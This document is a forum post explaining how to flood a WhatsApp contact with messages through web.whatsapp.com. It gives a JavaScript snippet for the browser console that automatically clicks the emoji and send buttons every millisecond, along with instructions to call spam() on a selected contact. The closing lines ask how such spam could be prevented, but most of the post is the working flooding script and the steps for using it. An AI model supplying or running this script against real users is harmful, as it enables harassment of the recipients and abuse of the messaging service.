one can be spammed through whatsapp,please see this

through web.whatsapp.com one can spam or send thousands of messages continuously and automatically,
using a simple javascript/jQuary code...and running that code in the developer console of the browser.

Code:

---

var sm=document.getElementsByClassName("icon icon-smiley btn-emoji");
var sm1=document.getElementsByClassName("emojik emojiordered1171");
var snd=document.getElementsByClassName("icon btn-icon icon-send send-container");
var input=document.getElementsByClassName("input");
var sm3=document.getElementsByClassName("icon icon-emoji-people");
var sm4=document.getElementsByClassName("icon icon-hide btn-emoji");
var i=0;

function spammed(){
        //for(i=0;i<15;i++){
                input[1].innerHTML=i;
                    sm[0].click();
                    sm1[0].click();
                    snd[0].click();
                    i=i+1;
                   
   
        //}
}
function spam(){
        sm[0].click();
        sm3[0].click();
        sm1[0].click();
        sm4[0].click();
        setInterval(spammed,1);
       
}

---

after entering the code you just have to call the spam function

Code:

---

spam()

---

if select a contact on the web.whatsapp.com and run this code on the browser console....the code will run and that contact will receive message continuously.
now what can we do to prevent this kind of attack?
in whatsapp if anyone can get my number ,can use this code and spam me.